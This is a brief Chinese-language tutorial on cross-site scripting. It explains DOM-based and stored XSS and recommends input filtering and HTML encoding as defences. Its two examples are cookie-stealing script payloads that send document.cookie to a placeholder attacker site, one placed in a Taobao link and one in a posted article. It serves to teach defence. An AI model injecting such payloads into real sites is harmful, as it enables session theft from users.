前端安全之XSS攻击

108 阅读1分钟

是什么?

XSS 又称 CSS(Cross Site Script), 跨站脚本攻击。

属于被动式且用于客户端的攻击方式,容易被忽略其危害性。

7种最常见的web应用程序漏洞之一。

危害

盗取用户 Cookie(严重)、破坏页面结构、重定向其它网站等。

原理

攻击者向有 XSS 漏洞的网站中输入恶意 HTML 代码,当其它用户浏览该网站时,这段 HTML 代码会自动执行,从而达到攻击目的。

类型

  • 存储型(持久型)
  • 反射型(非持久型)
  • DOM型

DOM结构型攻击(DOM Based XSS)

特点

  • 中招的人数少

过程

  1. 陌生人发来的一段访问淘宝的链接http://www.taobao.com/user?content=<script>window.open("www.b.com?param="+document.cookie)</script>
  2. 此时若用户已登录淘宝网,点击该链接时会进入淘宝网并自动打开另一个b网站(攻击站点),并携带淘宝网的Cookie信息。(用户登录令牌)

避免

  • 不要点击陌生链接
  • 检查链接中是否有js代码

存储式XSS漏洞(Stored XSS)

特点

  • 恶意代码被存储到服务器,中招的人数多

过程

攻击者在 A 网站中发布了一篇包含恶意代码的文章,<script>window.open("www.b.com?param="+document.cookie)</script>。当有用户浏览这篇文章的时候,就会自动打开 b 网站,并携带 Cookie 信息。

防御

永远不要相信用户的输入,必须对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。

Html encode 转换标签

标签encode
<&lt;
>&gt;
&&amp;
"&quot;
空格&nbsp;

参考

Cross-site scripting(跨站脚本攻击)